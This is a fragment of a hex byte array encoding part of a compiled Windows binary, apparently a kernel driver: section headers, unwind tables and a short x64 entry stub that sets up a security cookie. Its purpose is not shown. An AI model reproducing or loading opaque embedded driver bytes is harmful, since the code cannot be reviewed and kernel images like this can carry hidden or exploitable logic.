0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, - 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, - 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, - 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, - 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, - 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, - 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, - 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, - 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, - 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, - 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, - 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, - 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, - 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, - 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, - 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, - 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, - 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, - 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, - 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, - 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, - 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, - 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, - 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, - 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, - 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, - 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, - 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, - 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, - 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, - 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, - 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, - 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, - 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, - 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, - 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, - 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, - 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, - 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, - 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, - 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, - 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, - 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, - 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, - 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, - 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, - 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, - 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, - 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 0x00, - 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, - 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, - 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, - 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, - 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, - 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, - 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, - 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, - 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, - 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, - 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, - 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, - 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, - 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, - 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, - 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, - 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, - 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, - 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, - 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, - 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, - 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, - 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, - 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, - 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 